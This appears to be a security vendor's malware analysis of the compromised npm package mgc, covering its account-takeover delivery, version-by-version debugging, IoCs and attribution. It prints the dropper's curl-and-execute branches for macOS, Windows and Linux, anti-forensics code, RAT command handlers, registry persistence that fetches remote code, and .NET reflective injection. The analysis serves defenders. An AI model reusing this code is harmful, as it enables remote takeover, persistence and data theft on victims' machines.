Compromised npm Package mgc Deploys Multi-Platform RAT
Table of Contents
TL;DR
mgc, a legitimate npm CLI tool for generating project modules, was compromised via account takeover. Four malicious versions (1.2.1 through 1.2.4) were published on April 2, 2026, each containing a dropper (setup.cjs) that detects the operating system and fetches platform-specific stage-2 payloads from a GitHub Gist. The stage-2 payloads are full Remote Access Trojans (RATs) for Linux (Python) and Windows (PowerShell) that beacon to a C2 server, exfiltrate system information, enumerate directories, execute arbitrary commands, and support binary injection. The Windows payload also establishes registry-based persistence.
Impact:
- Full remote access to compromised systems (arbitrary command execution, script injection, binary execution)
- System reconnaissance: hostname, username, OS details, boot time, process listing, directory enumeration
- Windows persistence via registry Run key and hidden batch file
- macOS binary dropped to
/Library/Caches/com.apple.act.mond, disguised as an Apple system process - Anti-forensics: dropper deletes itself after execution
Indicators of Compromise (IoC):
- Package:
[email protected]through[email protected]on npm - C2 domain:
hxxps://admondtamang[.]com[.]np/gate - Stage-2 Gist:
hxxps://gist[.]github[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f - Stage-2 Linux payload:
hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/linux[.]payload - Stage-2 Windows payload:
hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/window[.]payload - Linux payload path:
/tmp/ld.py - macOS binary path:
/Library/Caches/com.apple.act.mond - Windows persistence:
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate - Windows batch file:
%PROGRAMDATA%\system.bat - Windows PowerShell copy:
%PROGRAMDATA%\wt.exe - SHA256 (tarball):
40aa5d412a50db79a814ac5ad65237745727cb4777843d66a760f64285a5a3e6 - npm maintainer:
admond <[email protected]>(compromised account)
Analysis
Package Overview
mgc (“Module Generate CLI”) is a small CLI tool created by Admond Tamang that scaffolds project boilerplate modules for Express applications. It had three legitimate versions published between August and September 2023 (v1.0.0 through v1.2.0), with minimal adoption (roughly 12 downloads per month, ~165 total over the past 18 months). The maintainer account (admond) has eight packages on npm, and the GitHub repository at admondtamang/module-generate-cli appears to be a genuine project.
On April 2, 2026, four new versions (1.2.1, 1.2.2, 1.2.3, 1.2.4) were published within 30 minutes of each other, after a gap of over two and a half years. The rapid succession of versions is consistent with an attacker iterating on a payload after gaining access to the account.
The C2 domain (admondtamang.com.np) is the developer’s personal domain, and the stage-2 payloads are hosted on a GitHub Gist under the same admondtamang account (created April 1, 2026, with the description “Payloads”). This indicates the attacker compromised both the npm account and the GitHub account.
What Changed: Differential Analysis
Comparing v1.2.0 (legitimate) with v1.2.4 (malicious), the attacker made targeted changes:
New file added: bin/setup.cjs (the dropper, 3088 bytes)
Modified package.json to register a new binary entry:
// package.json diff- "bin": { "cli": "bin/generate.js" }+ "bin": { "mgc": "bin/generate.js", "mgc-setup": "bin/setup.cjs" }Modified bin/generate.js to add a setup subcommand that spawns setup.cjs:
// bin/generate.js (added lines)import { spawnSync } from 'child_process';
program .command('setup') .description('Run the MGC setup') .action(() => { const setupPath = path.join(__dirname, 'setup.cjs'); spawnSync(process.execPath, [setupPath], { stdio: 'inherit' }); });Everything else in the package, including the template modules and service files, remains unchanged from the legitimate version. The attacker added the minimum code necessary to deliver the payload.
Version Evolution: Debugging Malware on the Live Registry
The four malicious versions, published within 30 minutes, reveal the attacker debugging their delivery chain in real time on the live npm registry.
v1.2.1 (06:12 UTC): First attempt, full payload, wrong bin entry
The attacker replaced the original cli bin entry with the malicious setup.js, but did not add a setup subcommand to generate.js:
// v1.2.1 package.json — bin entry{ "bin": { "cli": "bin/setup.js", // hijacked: was "cli" -> "bin/generate.js" in v1.2.0 "mgc": "bin/generate.js" }}The dropper contained the full payload (all three OS branches, anti-forensics, C2 communication). However, the only way to trigger it was via npx cli, which is a generic name unlikely to be invoked. The generate.js entry point had no knowledge of setup.js.
v1.2.2 (06:22 UTC): Fix delivery, gut the payload
The attacker fixed the delivery mechanism: renamed the bin entry to mgc-setup and added the setup subcommand to generate.js. But they stripped the payload down to an empty stub, likely to test whether the delivery plumbing worked without risking detection:
// v1.2.2 package.json — bin entry fixed "cli": "bin/setup.js", "mgc-setup": "bin/setup.js",// v1.2.2 bin/setup.js — payload gutted to empty stubconst _entry = function (campaignId) { process.exit(0);};
const campaignId = process.argv[2] || 'gate';_entry(campaignId);// v1.2.2 bin/generate.js — setup subcommand addedprogram .command('setup') .description('Run the MGC setup') .action(() => { const setupPath = path.join(__dirname, 'setup.js'); spawnSync(process.execPath, [setupPath], { stdio: 'inherit' }); });v1.2.3 (06:35 UTC): Restore the full payload
With the delivery mechanism validated, the attacker restored the complete malicious payload back into setup.js. The generate.js and package.json bin entries remained identical to v1.2.2. The diff between v1.2.2 and v1.2.3 is exactly the payload body being re-inserted into the empty _entry function.
v1.2.4 (06:40 UTC): Fix ESM/CJS compatibility bug
The package declares "type": "module" in package.json, which makes Node.js treat all .js files as ES modules. But the dropper uses require() (CommonJS syntax). Running setup.js would throw:
ReferenceError: require is not defined in ES module scopeThe attacker’s fix: rename setup.js to setup.cjs. The .cjs extension forces Node.js to treat the file as CommonJS regardless of the package’s type field:
// v1.2.4 package.json "mgc-setup": "bin/setup.js" "mgc-setup": "bin/setup.cjs"// v1.2.4 bin/generate.js const setupPath = path.join(__dirname, "setup.js"); const setupPath = path.join(__dirname, "setup.cjs");The payload itself is byte-for-byte identical between v1.2.3 and v1.2.4.
This iteration pattern (broken delivery -> empty test -> full payload -> runtime bug fix) shows the attacker testing against the live registry rather than using a local staging environment, leaving a forensic trail of each debugging step.
Execution Trigger
The malicious setup.cjs executes when:
- A user runs
npx mgc-setupormgc-setup(registered as a bin entry) - A user runs
mgc setup(the new subcommand added togenerate.js)
The dropper takes a campaign ID from command-line arguments, defaulting to "gate":
const campaignId = process.argv[2] || 'gate';_entry(campaignId);Stage-1: The Dropper
setup.cjs detects the operating system and executes a platform-specific delivery mechanism. All three branches construct the C2 URL as https://admondtamang.com.np/ + campaignId.
macOS (darwin): Writes an AppleScript to a temp file that uses curl to download a binary from the C2 server (hxxps://admondtamang[.]com[.]np/gate), saves it to /Library/Caches/com.apple.act.mond (mimicking an Apple system process name), sets it executable, and runs it in the background:
// bin/setup.cjs — macOS branchconst appleScript = `set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"} try do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null" end trydo shell script "rm -rf ${scriptPath}"`;
fs.writeFileSync(scriptPath, appleScript);execCommand = `nohup osascript "${scriptPath}" > /dev/null 2>&1 &`;Windows (win32): Copies PowerShell to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), then writes a VBScript that downloads the PowerShell stage-2 from hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/.../window[.]payload and executes it hidden:
// bin/setup.cjs — Windows branchconst wtPath = process.env.PROGRAMDATA + '\\wt.exe';if (!fs.existsSync(wtPath)) { fs.copyFileSync(psPath, wtPath);}
const vbScript = ` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd.exe /c curl -o ""${ps1Path}"" -s ""${windowsPayloadUrl}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False`;Linux: Downloads a Python RAT from hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/.../linux[.]payload to /tmp/ld.py and runs it in an infinite loop:
// bin/setup.cjs — Linux branchexecCommand = `curl -o /tmp/ld.py -s ${linuxPayloadUrl} && nohup bash -c 'while true; do python3 /tmp/ld.py ${c2Url}; sleep 2; done' > /dev/null 2>&1 &`;After launching the stage-2, the dropper performs anti-forensics:
// bin/setup.cjs — anti-forensicsfs.unlink(selfPath, () => {}); // Delete setup.cjs itselffs.unlink('package.json', () => {}); // Delete malicious package.jsonfs.rename('package.md', 'package.json', () => {}); // Attempt to restore clean manifestThe entire function is wrapped in a silent try/catch that swallows all errors, ensuring npm operations always complete without visible errors.
Stage-2: Linux RAT (Python)
The Linux payload (linux.payload) is a ~280-line Python script that implements a full C2 agent. On first execution, it collects initial reconnaissance and sends it to the C2:
# linux.payload — initial recondef work(): url = sys.argv[1] uid = generate_random_string(16) os = get_os() dir_info = init_dir_info() body = { "type": "FirstInfo", "uid": uid, "os": os, "content": dir_info } send_result(url, body) main_work(url, uid)The init_dir_info() function enumerates the contents of ~/, ~/.config/, ~/Documents/, and ~/Desktop/, sending file names, sizes, modification times, and directory structure to the attacker.
The agent then enters a beacon loop, polling the C2 every 20 seconds with system information:
# linux.payload — beacon loopdata = { "hostname": get_host_name(), "username": get_user_name(), "os": os, "version": os_version, "timezone": timezone, "installDate": installation_time, "bootTimeString": boot_time, "currentTimeString": current_time, "modelName": manufacturer, "cpuType": product_name, "processList": ps}The C2 can issue four command types:
| Command | Function | Description |
|---|---|---|
kill | sys.exit(0) | Terminate the agent |
peinject | do_action_ijt() | Write a base64-decoded binary to /tmp/.<random>, chmod 777, and execute it |
runscript | do_action_scpt() | Execute arbitrary shell commands or base64-encoded Python scripts |
rundir | do_action_dir() | Enumerate specified directory paths and return file listings |
The peinject command is notable: it writes attacker-supplied binary payloads to temp files with random names and executes them:
# linux.payload — binary injectiondef do_action_ijt(ijtbin, param): payload = base64.b64decode(b64_string) file_path = f"/tmp/.{generate_random_string(6)}" with open(file_path, "wb") as file: file.write(payload) os.chmod(file_path, 0o777) subprocess.Popen( [file_path] + shlex.split(param.decode("utf-8", errors="strict")) )All communication uses base64-encoded JSON over HTTP POST with a spoofed IE8 User-Agent string: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0).
Stage-2: Windows RAT (PowerShell)
The Windows payload (window.payload) mirrors the Linux RAT’s capabilities with Windows-specific additions.
Persistence: Before entering the beacon loop, it establishes persistence via the registry Run key:
# window.payload — persistence$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"$regName = "MicrosoftUpdate"$batFile = Join-Path $env:PROGRAMDATA "system.bat"$batCont = "start /min powershell -w h -c " + """" + "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '" + $url + "' -Method POST -Body 'packages.npm.org/product1').Content))) '" + $url + "'"Set-Content -Path $batFile -Value $batCont -Encoding ASCIISet-ItemProperty -Path $batFile -Name Attributes -Value HiddenSet-ItemProperty -Path $regKey -Name $regName -Value $batFileThis creates a hidden batch file at %PROGRAMDATA%\system.bat that, on every login, fetches a fresh payload from the C2 and executes it via Invoke-WebRequest and ScriptBlock::Create. The registry key MicrosoftUpdate ensures it survives reboots.
Directory enumeration is more aggressive than the Linux variant, scanning Documents, Desktop, OneDrive, AppData\Roaming, and all filesystem drive roots:
# window.payload — initial directory enumeration$initDir = @( Join-Path $userDir "Documents" Join-Path $userDir "Desktop" Join-Path $userDir "OneDrive" Join-Path $userDir "AppData\Roaming")$drives = Get-PSDrive -PSProvider FileSystem | ForEach-Object { $_.Root }$initDir += $drives.NET assembly injection: The Windows peinject command loads attacker-supplied .NET assemblies via reflection, a technique for in-memory execution that avoids writing executable files to disk:
# window.payload — .NET assembly injectionfunction Do-Action-Ijt { param([string] $ijtdll, [string] $ijtbin, [string] $param) [byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll) [byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin) $assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni) $class = $assem.GetType("Extension.SubRoutine") $method = $class.GetMethod("Run2") $method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))}The variable names $rotjni (“injtor” reversed) and $daolyap (“payload” reversed) reveal their purpose through a simple reversal obfuscation.
Shared C2 Protocol and Platform Differences
Both the Linux and Windows stage-2 payloads implement the same C2 protocol, clearly built from a shared specification. All communication uses HTTP POST with base64-encoded JSON bodies and an identical hardcoded IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)). The C2 URL is passed as a command-line argument from the dropper (sys.argv[1] in Python, $args[0] in PowerShell). Each agent generates a random 16-character alphanumeric UID on first run to identify the infected host.
The beacon sequence is identical across platforms:
FirstInfo: Sent once on startup with the UID, OS identifier, and directory listings of the user’s home, config, and document directoriesBaseInfo: Sent in a polling loop (every 20 seconds on Linux, 60 seconds on Windows) with hostname, username, OS version, timezone, boot time, and a full process list- C2 response: Base64-decoded and parsed as JSON. The
typefield determines which command handler to invoke CmdResult: Execution result sent back with status"Wow"(success) or"Zzz"(failure)
Both payloads support the same four command types, with platform-specific implementations:
| Command | Linux (Python) | Windows (PowerShell) |
|---|---|---|
kill | sys.exit(0) | exit 0 |
peinject | Writes base64-decoded binary to /tmp/.<random>, chmod 0o777, executes via subprocess.Popen | Loads .NET assembly in memory via Reflection.Assembly.Load, invokes Extension.SubRoutine.Run2 |
runscript | Executes shell command (shell=True) or base64-decoded Python via python3 -c | Executes via powershell.exe -ep Bypass or -EncodedCommand for larger scripts |
rundir | Enumerates paths using Path.rglob / os.listdir | Enumerates using Get-ChildItem -Force |
The most significant platform difference is in peinject. On Linux, it writes binaries to disk (hidden dot-prefixed files in /tmp). On Windows, it uses fileless in-memory execution via .NET reflection, avoiding disk writes entirely. The runscript command also diverges: Linux supports both shell commands and Python code execution, while Windows routes everything through PowerShell with execution policy bypass.
The response format is structurally identical across both payloads:
# Linux CmdResult{"type": "CmdResult", "cmd": "rsp_runscript", "cmdid": "...", "uid": "...", "status": "Wow", "msg": "..."}# Windows CmdResult@{type = "CmdResult"; cmd = "rsp_runscript"; cmdid = "..."; uid = $uid; status = "Wow"; msg = "..."}Attack Infrastructure
The attack leverages the compromised developer’s own infrastructure:
- C2 domain:
admondtamang.com.np(the developer’s personal domain, behind Cloudflare, currently returning HTTP 530) - Stage-2 hosting: GitHub Gist under the
admondtamangaccount, created April 1, 2026, titled “Payloads” - npm account:
admond, which maintains 8 packages includingpdf-watermark,multer-ftp-storage, and others
This pattern of compromising both the developer’s package registry account and their personal infrastructure makes the attack harder to detect, as all URLs resolve to the legitimate developer’s known domains.
Campaign Tracking
The dropper uses a campaignId parameter (defaulting to "gate") appended to the C2 URL. The macOS branch references packages.npm.org/product0 and the Windows persistence uses packages.npm.org/product1 as POST body identifiers. This suggests the attacker tracks infections by platform and entry vector, indicating an organized campaign rather than opportunistic compromise.
Threat Attribution: UNC1069 / Sapphire Sleet / BlueNoroff / TA444
The IOCs from this attack directly match the Axios npm supply chain compromise (March 31, 2026), attributed by Google GTIG, Microsoft, Palo Alto Unit 42, and Hunt.io to the North Korean threat group tracked as UNC1069 (Google), Sapphire Sleet (Microsoft), BlueNoroff (Kaspersky), and TA444 (Proofpoint). The malware family is WAVESHAPER.V2, an evolution of the earlier BeaverTail/InvisibleFerret tooling from the Contagious Interview campaign.
Specific IOC overlaps with the documented Axios attack:
- macOS payload path
/Library/Caches/com.apple.act.mond: Exact match. Google GTIG tracks this as the WAVESHAPER.V2 macOS RAT drop path. - C2 command protocol (
peinject,runscript,rundir,kill): Exact match. Documented by Hunt.io, Qualys ThreatPROTECT, and SANS as the WAVESHAPER.V2 C2 command set. - .NET assembly injection via
Extension.SubRoutine.Run2: Exact match. Hunt.io’s reverse engineering of the Axios RAT confirms this is the staging implant injected viapeinjecton Windows. - Campaign tracking identifiers
packages.npm.org/product0(macOS) andpackages.npm.org/product1(Windows): Exact match. Documented by SANS, Microsoft, and Google as C2 callback markers used to differentiate platform infections. - IE8 User-Agent string: Confirmed WAVESHAPER.V2 IOC, flagged in Sigma APT detection rules and the Hunt.io analysis.
- Multi-platform delivery architecture (AppleScript dropper + PowerShell RAT + Python RAT): Identical to the Axios attack kill chain.
The mgc compromise occurred on April 2, 2026, two days after the Axios attack (March 31), placing it in the same campaign wave. Our analysis of the Axios compromise documents an identical kill chain: the same setup.js dropper structure, the same packages.npm.org/product{0,1,2} platform identifiers, the same macOS/Windows/Linux branching, and the same anti-forensics pattern of deleting setup.js and swapping package.md into package.json. The Axios dropper used the campaign ID 6202033, while mgc defaults to gate.
While the Axios compromise targeted a package with 60M+ weekly downloads via a trojanized dependency (plain-crypto-js), mgc represents a parallel operation targeting smaller packages through direct account takeover. Both attacks use the same WAVESHAPER.V2 payload infrastructure, but the mgc attacker hosted stage-2 payloads on the compromised developer’s GitHub Gist rather than a dedicated C2 server (sfrclak[.]com), suggesting either a different operator within the same group or infrastructure diversification.
Conclusion
[email protected] through 1.2.4 are compromised versions of a legitimate npm package, weaponized through account takeover to deploy a multi-platform RAT. Developers who installed these versions should check for the indicators listed above, particularly the registry persistence on Windows and the /tmp/ld.py process on Linux. The compromised npm and GitHub accounts should be reported and rotated.
References
- SafeDep: Axios Compromised via Dependency Injection
- SafeDep Community Analysis Report
- npm registry page for mgc
- GitHub Gist with stage-2 payloads
- Legitimate GitHub repository
- Google GTIG: North Korea Threat Actor Targets Axios npm Package
- Hunt.io: Axios Supply Chain Attack - TA444/BlueNoroff Analysis
- Microsoft: Mitigating the Axios npm Supply Chain Compromise
- Palo Alto Unit 42: Axios Supply Chain Attack
- SANS: Axios npm Supply Chain Compromise
- N3mes1s: WAVESHAPER.V2 YARA/Sigma/Suricata Rules
- vet
- cloud
- malware
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Malicious npm Package express-session-js Drops Full RAT Payload
A malicious npm package typosquatting express-session fetches and executes a full Remote Access Trojan from a paste service, targeting browser credentials, crypto wallets, SSH keys, and more.

Malicious npm Package strapi-plugin-events Deploys Full C2 Agent
A malicious npm package targeting Strapi CMS deployments runs an 11-phase postinstall attack that steals credentials, environment variables, private keys, Redis data, Docker and Kubernetes secrets,...

axios Compromised: npm Supply Chain Attack via Dependency Injection
axios 1.14.1 was published to npm via a compromised maintainer account, injecting a trojanized dependency that executes a multi-platform reverse shell on install. No source code changes in axios...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
